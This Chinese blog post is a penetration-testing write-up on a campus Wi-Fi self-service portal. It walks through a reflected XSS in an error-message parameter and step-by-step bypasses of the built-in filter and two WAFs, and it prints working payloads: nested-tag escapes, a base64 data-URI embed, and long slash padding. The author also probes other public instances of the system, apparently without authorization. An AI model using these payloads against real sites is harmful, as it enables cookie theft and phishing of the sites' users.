笔者在内网环境中,Wifi入网需要认证账密,因此经常接触如下这个校园网自助服务系统
,自然地想到对此系统进行一些安全测试:
初步主要有这样几种挖掘思路:
1、应用业务逻辑漏洞
2、已知系统和组件的CVE
在挖掘之前,搜索引擎里意外看到某位师傅在博客发过对这个系统的测试记录(tql):
https://www.sqlsec.com/2017/11/nnuwifi.html
通过这位师傅对南师大的测试结果,业务逻辑上总结起来存在以下几个安全问题:
1、可以任意用户注册
2、忘记密码接口存在信息泄露
但是实测在笔者内网环境下的这个系统,用户注册功能被关闭了。。。第一点宣告失败;
忘记密码接口的信息泄露需要传递类似学号
这样的参数,限制了它的危害性(学号需要爆破);另外返回的信息只有学号对应的真实姓名,没有上面博客中出现的证件号
等更为详细的信息。
通过信息搜集获得以下目标信息:
Apache-Coyote/1.1
Servlet 2.5; JBoss-5.0/JBossWeb-2.1
搜索组件相关的漏洞信息发现CVE-2017-12149,是一个反序列化的漏洞,不过没有利用成功(不存在/invoker/readonly路径),还是没有什么收获。
注意到系统接口后缀名是.jsf
和.jsp
,在网页代码中寻找.jsf
和.jsp
结尾的字符串尝试找到一些隐藏的后端接口。
1、发现系统具体版本信息:
软件#SAM#RG- ENTERPRISE_4.21(p9)_Build20180606
2、发现一个返回错误信息的接口(移动端):
尝试将mobile
去掉,同样也是一个错误信息回显接口(PC端):
存在这样的错误信息回显,如果对XSS没有过滤好就有可能造成反射型XSS了,我们尝试简单的payload发现确实存在(鸡肋):
这是一个鸡肋的洞,但是再看看这个系统SESSION的Cookie没有开启http_only,还是存在钓鱼利用风险的。
虽然没有发现其他的严重安全问题,但是对这个反射XSS是否是这个系统的通用安全问题也产生了好奇。通过搜索引擎找到了一堆类似的线上系统逐一进行尝试,结果发现事情并不简单。
测试了多个相同系统的站点,发现会有几种款式的错误返回(果然是笔者内网这个系统没有开启防护(⊙o⊙)…),接下来开始了对这几种防护进行绕过的漫漫之旅:
拿其中一个外网系统进行绕过测试,发现系统自带过滤机制对几个关键字符都做了过滤,似乎直接封死了利用空间:
单引号'、双引号"、尖括号<>、转义符\
但是在Fuzz到一些HTML标签的时候,出现了神奇的地方,部分标签虽然带有尖括号但是却绕过了系统自带的XSS检测规则(黑人问号),其中script
标签触发了WAF-A:
然而利用这些标签进行构造尝试弹窗,发现又被WAF-A(包括B)拦截了:
为了测试是对on
开头的动作还是alert
字符串触发了拦截,分别构造多个payload进行测试:
<input onclick=111>
<input onload=111>
<input on=111>
......
<input aaa=alert()>
结果是都会被拦截,可以确定规则会拦截on
开头的动作以及alert
字符串。。。同样的,测试发现构造类似<input background="javascript:xxx">
的payload等等,会因为javascript和一些其他敏感字符串被拦截。
。。。
这个时候继续在input
这个标签中的动作或者属性尝试弹框已经很困难(或许有其他绕过方法),想到尝试继续在input
标签中构造出其他标签进行测试。
可以看到其中嵌套上图几种标签时还是合法的。当构造这样的输入时,在浏览器中可以看到会多出一个尖括号>
,其中第1个>
和第1个<
组合生效了:
到这一步,如果继续添加1个<
去和下面的>
组合成新的HTML标签会怎么样呢,尝试如下输入
<input <table><a>
成功逃逸出来了一个a
标签,并且没有被拦截。同样拿其他标签进行Fuzz测试,可以看到之前绕过的标签反而全都被拦截,但是其他标签都成功绕过了!
现在构造的输入绕过了系统自带的过滤,攻击面就扩大了,可以使用大部分的HTML标签。但是常规的字符串仍然会被WAF-A和B拦截,如:
on开头的动作、alert字符串、javascript等
但是由于可用的HTML标签很多,完全可以构造不出现这些敏感字符的payload,在这里笔者使用embed
标签的src
属性执行base64编码的JS代码:
<input<table><embed/src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==" >
这个payload可以绕过WAF-A,但是可惜绕不过WAF-B:
WAF-B的拦截提示是WiseGrid
,查了下是一个公司的网关产品,接着继续尝试能否绕过这款网关的XSS防护。
之前过WAF-A的payload中肯定是有某个字符串触发了WAF-B的规则,于是进行删减,最后发现WAF-B直接拦截了embed
标签。。。
WAF-B也对常见的on
开头动作进行了拦截、对javascript
等字符串进行了拦截。除此之外,发现src='data....'
和href='data....'
的形式也被拦截了。
到这可以看出来,WAF-B比WAF-A强了好几个级别,几乎拦死了几乎所有能想到的构造形式,到这一下子走到了死胡同。。。
经过无数尝试失败后,突然想到了一些WAF在处理过长的数据时会忽略一定长度后数据的案例,这个网关产品的WAF会不会也有这样的问题呢?
于是基于上面的payload,尝试在会被拦截的字符串src="data"
之前插入大量的无关字符:
http://xxx//selfservice/module/scgroup/web/login_self.jsf?errorMsg=<input<table><img aaaaAaaaaaaaaaaaaaaAaaaaaaaaaaaaaAaaaaaaaaaaaaaAaaaaaaaaAaaaaaaaaaaaaaaAaaaaaaaaaaaaaAaaaaaaaaaaaaaAaaaaaaaaAaaaaaaaaaaaaaaAaaaaaaaaaaaaaAaaaaaaaaaaaaaAaaaaaaaaAaaaaaaaaaaaaaaAaaaaaaaaaaaaaAaaaaaaaaaaaaaAaaaaaaaaAaaaaaaaaaaaaaaAaaaaaaaaaaaaaAaaaaaaaaaaaaaAaaaa src="data">
虽然失败了,按着这个思路我们尝试继续换成其他字符,例如注释符进行测试:
可以看到,我们的payload传入后,页面经过不寻常的等待后,返回了正常的页面内容!
那么把之前过WAF-A的payload稍加改造就能绕过WAF-B了:
http://xxx//selfservice/module/scgroup/web/login_self.jsf?errorMsg=<input<table////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////><embed/src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==" >
笔者从对某校园网自助服务系统的安全测试开始,围绕一个鸡肋的反射XSS漏洞,对此系统通常存在的各种XSS过滤和WAF进行测试和绕过。虽然市面的WAF各式各样,但是过程中绕WAF的姿势和手法是通用的。